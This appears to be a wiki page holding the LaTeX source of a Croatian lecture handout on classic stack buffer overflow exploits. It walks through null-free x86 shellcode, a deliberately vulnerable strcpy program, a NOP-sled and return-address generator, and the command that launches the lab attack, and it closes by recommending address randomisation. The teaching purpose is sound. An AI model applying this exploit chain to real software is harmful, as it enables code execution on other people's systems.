RazmjenaVjestina
BufferOverflow: Revision 5
attachment:conf_paper.pdf ili %conf.tex \documentclass[a4paper, 10pt]{article} \usepackage[croatian]{babel} \author{Alan Pavi\v{c}i\'{c}\\ \textsf{akapav@gmail.com}} \title{Buffer overflow} \setlength{\parindent}{0pt} \setlength{\parskip}{1ex plus 0.5ex minus 0.2ex} \addtolength{\hoffset}{-1cm} \begin{document} \maketitle \vspace{1cm} U ovom papiru \'{c}emo pokazati osnovne tehnike {\it buffer overflow exploita}. S obzirom da je papir prate\'{c}i materijal uz predavanje na istu temu, izostavit \'{c}emo uvod u x86 asembler i {\it calling convencije} o kojima \'{c}e biti rije\v{c}i u \v{z}ivo Osnovna ideja ovakvih programa je da iskoriste memoriju alociranu na {\it stacku} za nekakve korisni\v{c}ke podatke, te da u nju upi\v{s}u vlastiti kod. Samo aktiviranje tog koda se radi tako da se pregazi {\it return aresa}, podatak koji se tako\dj{}er nalazi na stacku i slu\v{z}i da bi funkcije znale odakle su pozvane te kuda se moraju vratiti. Umjesto originalne return adrese podme\'{c}e se neka druga, na kojoj le\v{z}i uba\v{c}eni kod nakon \v{c}ega se mo\v{z}e izvr\v{s}iti proizvoljna akcija sa pod istim onim ovlastima koje je imao i vlasnik napadnutog programa Akcija koju \'{c}emo mi izvr\v{s}avati prilikom ovog eksperimenta je varijacija na temu popularnog hello worlda Po\v{c}eti \'{c}emo sa vrlo malim hello world programom koji je napisan u gcc-ovom inline asembleru, a pisanje na ekran radi preko sistemskog poziva (primjetite da ovdje radi jednostavnosti sistemske pozive radimo sa staromodnim $int$ $0x80$ umijesto pomo\'{c}u mnogo br\v{z}eg $sysenter$a) Pisanjem programa u asembleru i pozivima direktno u kernel dobivamo manje i neovisnije programe koji \'{c}e se lak\v{s}e mo\'{c}i izvr\v{s}avati na nepoznatim ra\v{c}unalima \begin{verbatim} int main(void) { __asm__ (" \ movl $3, %edx; \ movl $LBL, %ecx; \ movl $1, %ebx; \ movl $4, %eax; \ int $0x80; \ movl $1, %eax; \ int $0x80; \ LBL: .ascii \"aka\"; \ "); } \end{verbatim} Iako malen i jednostavan. prethodni program ima ozboljan problem -- naime u liniji $movl LBL, \%ecx$ baratamo sa apsolutnom adresom, te ovakav komad koda se ne mo\v{z}e izvr\v{s}avati na proizvoljnim memorijskim lokacijama. Zbog toga isti program jo\v{s} jednom prepisujemo, ali umjesto apsolutnog $movl$a, korisitmo relativne $jmp$ i $call$. Obratite pa\v{z}nju da se $call$ koristi za dohvat adrese na kojoj se nalazi string \begin{verbatim} int main(void) { __asm__ (" \ jmp LBL; \ GO: pop %esi; \ movl $3, %edx; \ movl %esi, %ecx; \ movl $1, %ebx; \ movl $4, %eax; \ int $0x80; \ movl $1, %eax; \ int $0x80; \ LBL: call GO; \ .ascii \"akb\"; \ "); } \end{verbatim} Sad imamo rade\'{c}u {\it relokatibilnu} rutinu. Sljede\'{c}i korak je izbaciti sve nule koje se nalaze u binarnom kodu napisanog programa. Naime, s obzirom da \'{c}emo koristiti $strcpy$ funkciju za ubacivanje na\v{s}eg bloka byteova, moramo se osigurati da kopiranje ne stane prije nego smo planirali. Klasi\v{c}na tehnika punjenja neke vrijednosti sa nula je da se ta vrijednost jednostavno $xor$a sa samom sobom. Program izgleda malo slo\v{z}enije, ali je i poprimio svoj kona\v{c}ni oblik \begin{verbatim} int main(void) { __asm__ (" \ jmp LBL; \ GO: pop %esi; \ xor %edx, %edx; \ movb $3, %dl; \ movl %esi, %ecx; \ xor %ebx, %ebx; \ movb $1, %bl; \ xor %eax, %eax; \ movb $4, %al; \ int $0x80; \ xor %eax, %eax; \ movb $1, %al; \ int $0x80; \ LBL: call GO; \ .ascii \"akc\"; \ "); \end{verbatim} U datoteci {\it prog1.py} \'{c}emo jo\v{s} jednom napisati isti program, samo umjesto standardnih simbola za asemblerske instrukcije, koristimo numeri\v{c}ke vrijednosti spremljeno u jedno $python$ polje. Do samih vriednosti smo do\v{s}li koriste\'{c}i program $objdump$ \begin{verbatim} seq = [ 0xeb, 0x17, #jmp LBL #GO: 0x5e, #pop %esi 0x31, 0xd2, #xor %edx,%edx 0xb2, 0x03, #mov $0x3,%dl 0x89, 0xf1, #mov %esi,%ecx 0x31, 0xdb, #xor %ebx,%ebx 0xb3, 0x01, #mov $0x1,%bl 0x31, 0xc0, #xor %eax,%eax 0xb0, 0x04, #mov $0x4,%al 0xcd, 0x80, #int $0x80 0x31, 0xc0, #xor %eax,%eax 0xb0, 0x01, #mov $0x1,%al 0xcd, 0x80, #int $0x80 #LBL: 0xe8, 0xe4, 0xff, 0xff, 0xff, #callq GO 0x61, 0x6b, 0x64 ] \end{verbatim} {\it bindump.py} je program koji kao argument prima ime datoteke poput prethodne, a generira binarni file na standardnom outputu (npr: $python.py prog1$ gdje je $prog1$ ime prethodne datoteke) \begin{verbatim} #!/usr/bin/python -u import array import sys import signal signal.signal(signal.SIGPIPE, signal.SIG_DFL) mdl = __import__(sys.argv[1]) arr = array.array("B") arr.fromlist(mdl.seq); arr.tofile(sys.stdout) \end{verbatim} Da bismo se uvjerili da sve do sada radi, pokrenimo sljede\'{c}i program\v{c}i\'{c} i na standardni ulaz mu treba dati izlaz iz $bindump.py$. Ukoliko je sve u redu, program \'{c}e dobivene byteove spremiti na heap, te \'{c}e ih izvr\v{s}iti kao da su regularna funkcija \begin{verbatim} #include <stdio.h> #include <stdlib.h> unsigned char* read_stream(FILE *fp) { static const size_t block_size = 1024; unsigned char* buff = NULL; int cnt = 0; do { buff = (unsigned char*)realloc(buff, (cnt + 1) * block_size); fread(buff + cnt++ * block_size, block_size, 1, fp); } while(!feof(fp)); return buff; } int main(void) { typedef void(*fun_t)(void); unsigned char *buff = read_stream(stdin); ((fun_t)(buff))(); free(buff); return 0; } \end{verbatim} Evo i "\v{z}rtve". Ovaj program \'{c}emo izvrgnuti napadu. Iako ovako u laboratorijskim uvjetima izgleda vrlo naivno, strcpy iz velikog buffera u ne\v{st}o manji se jo\v{s} uvijek mo\v{z}e na\'{c} i u stvarnom svijetu_ \begin{verbatim} #include <stdio.h> #include <string.h> void broken_fun(const char* src) { char dst[256]; printf("len: %d\n", strlen(src)); printf("%x\n", dst); strcpy(dst, src); } int main(void) { char buff[512]; fgets(buff, 512, stdin); broken_fun(buff); return 0; } \end{verbatim} {\it seqgen.py} je jo\v{s} jedan pomo\'{c}ni program\v{c}i\'{c}. S obzirom da prilikom poku\v{s}aja ubacivanja na\v{s}eg koda u tu\dj{}i program nismo uvijek to\v{c}no sigurni gdje se nalazi po\v{c}etak memorije u koju se useljavamo ili gdje se nalazi return adresa koju treba promjeniti, ovaj program nam generira na osnovu pravih_ bytova koje \'{c}emo upotrebiti za exploit novu datoteku u kojoj se na po\v{c}etku nalazi proizvoljan broj $nop$ instrukcija, a na kraju isto tako proizvoljan broj return adresa. Sada nam poga\dj{}anje_ izgleda puno lak\v{s}e \begin{verbatim} #!/usr/bin/python -u import sys import array import signal signal.signal(signal.SIGPIPE, signal.SIG_DFL) arr = array.array("B") arr.fromlist([0x90 for _ in range(int(sys.argv[1]))]); arr.tofile(sys.stdout) sys.stdout.write(sys.stdin.read()) arr = array.array("L") arr.fromlist([int(sys.argv[2], 16) for _ in range(int(sys.argv[3]))]) arr.append(0x0a0a0a0a) arr.tofile(sys.stdout) \end{verbatim} Kao ulazne argumente skripta uzima 3 broja -- broj $nop$ova prije rutine za napad, vrijednost nove return adrese te koliko puta \'{c}emo tu adresu upisati na stack. Rutinu za napad prima sa standardnog ulaza i samo je prepisuje na izlaz Ukoliko program \v{z}rtvu_ iskompajliramo sa \begin{verbatim} gcc ovfl.c -O -g -o ovfl \end{verbatim} pokretanje napada se moze napraviti sa npr. \begin{verbatim} ./bindump.py prog1 | ./seqgen.py 103 0xbffff102 50 | ./ovfl \end{verbatim} Ukoliko ne pro\dj{}e iz prve, return adresu treba na\v{s}timati tako da bude ne\v{s}to ve\'{c}a nego po\v{c}etak bufera (broj koji se ispisuje iz $ovfl$ programa) Ako vam je eksperiment uspio zna\v{c}i da nemate dobro pode\v{s}en sustav, te kao root otkucajte \begin{verbatim} echo 1 > /proc/sys/kernel/randomize_va_space \end{verbatim} i eksperiment sada ponovite ;) \end{document} original May 11 5:10am |